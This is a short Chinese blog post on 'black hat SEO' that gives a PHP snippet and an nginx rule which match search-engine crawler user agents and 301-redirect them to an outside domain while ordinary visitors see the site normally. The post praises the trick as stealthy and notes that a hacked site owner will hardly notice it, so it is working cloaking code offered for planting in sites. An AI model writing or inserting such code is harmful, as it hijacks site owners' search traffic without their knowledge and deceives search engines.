高端黑帽SEO之判断蜘蛛进行301跳转

aiofo2022-07-23  171

<?phpif (preg_match("#(Baiduspider|Googlebot|Sogou web spider|YodaoBot|Sosospider|bingbot|Yahoo! Slurp|MSNBot)#si", $_SERVER['HTTP_USER_AGENT'])) {
    header("HTTP/1.1 301 Moved Permanently");
    header("Location: https://www.dossk.com/");    exit;
}?>

用户访问网站完全正常,搜索引擎蜘蛛 User Agent 就301跳转。这个不得不说很隐蔽,被搞了不容易发现。

网站配置

    if ($http_user_agent ~* Googlebot){

        return 301 https://www.dossk.com/k$request_uri;
    }


转载请注明原文地址:https://www.aiofo.com/read-75.html